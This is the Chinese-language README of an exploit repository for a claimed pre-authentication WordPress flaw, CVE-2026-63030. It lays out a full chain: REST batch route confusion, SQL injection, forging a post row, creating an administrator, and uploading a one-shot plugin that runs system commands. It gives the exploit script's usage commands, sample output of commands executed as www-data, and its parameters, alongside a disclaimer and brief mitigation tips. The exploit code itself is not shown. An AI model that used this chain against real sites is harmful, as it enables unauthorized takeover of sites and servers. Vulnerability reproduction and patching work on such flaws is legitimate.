
WordPress 未授权RCE EXP | CVE-2026-63030
WordPress REST API batch 路由混淆 + SQL 注入 导致 未授权创建管理员 → 远程代码执行 的完整利用链 PoC。
仅供授权安全测试、漏洞复现与研究使用。禁止用于未授权目标。
| 项目 | 说明 |
|---|---|
| CVE | CVE-2026-63030 |
| 组件 | WordPress Core REST API (/batch/v1) |
| 影响版本 | WordPress 6.9.0 – 6.9.4、7.0.0 – 7.0.1(以官方公告为准) |
| 攻击前提 | 目标开启 REST API batch;站点至少有一篇已发布的文章或页面 |
| 权限要求 | 无需登录(Pre-Auth) |
| 危害 | 创建管理员账号,并可进一步上传插件实现 RCE |
REST batch 路由混淆
→ author__not_in SQL 注入
→ UNION 伪造 WP_Post / oEmbed cache / Customizer changeset
→ Customizer 发布时切换为已有管理员上下文
→ REST /wp/v2/users 创建新管理员
→ 后台上传一次性插件
→ 执行系统命令
核心不是“堆叠写库”,而是:
serve_batch_request_v1() 校验阶段与调度阶段对 $matches / $validation 索引不同步,造成 route confusion。author_exclude 进入 WP_Query 的 author__not_in,拼进 NOT IN (...),形成 SQL 注入。UNION SELECT 伪造完整 wp_posts 行,触发 oEmbed / Customizer 逻辑,把当前用户上下文切换为已有管理员。proc_open / passthru / system / shell_exec / exec / popen 之一)disable_functions 禁用了全部命令执行函数,仍可成功创建管理员,但 RCE 阶段会失败CVE-2026-63030/
├── exp.py # 完整利用脚本(单文件,零依赖)
└── README.md # 本说明
id)python3 exp.py --url http://192.168.1.10:8080/
python3 exp.py --url http://192.168.199.134:9005/ --username mht --password 'mht666' --email [email protected] --command 'id' --timeout 60
[*] Creating administrator via SQLi -> customizer bridge...
[+] Generated administrator: labadmin
[*] Password: S3cure!pass
[*] Email: [email protected]
[*] Logging in as generated administrator...
[+] Authenticated.
[*] Uploading one-shot command plugin...
[*] Plugin path: http://192.168.1.10:8080/wp-content/plugins/lab_wp2_cmd_xxxxxxxx/lab_wp2_cmd_xxxxxxxx.php
[*] Executing command: id
[+] command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[via: proc_open]
[*] Deleting generated administrator...
[+] Generated administrator removed.
[*] Cleaning up temporary plugin...
[+] Temporary plugin removed.
脚本会在结束后尝试:
若中途失败,请根据输出中的账号密码手动清理。
has been disabled for security reasons,说明 disable_functions 禁用了对应函数。PoC 会依次尝试多种执行方式;若全部被禁,RCE 不可用,但管理员创建阶段仍可能成功。wp-admin/users.php 与 wp-content/plugins/。/batch/v1 的未授权访问disable_functions 与最小权限 Web 用户配置,降低 RCE 落地影响本仓库中的代码仅用于安全研究与授权漏洞复现。使用者需自行确保遵守当地法律法规及目标系统授权范围。作者不对任何滥用行为承担责任。
| 参数 | 必填 | 默认值 | 说明 |
|---|
--url | 是 | 无 | 目标 WordPress 根 URL |
--username | 否 | wp2_<hex> | 要创建的管理员用户名 |
--password | 否 | Wp2!<random> | 要创建的管理员密码 |
--email | 否 | <username>@wp2shell.invalid | 要创建的管理员邮箱 |
--command / -c | 否 | id | 通过一次性插件执行的命令 |
--timeout | 否 | 60 | 单次 HTTP 超时(秒) |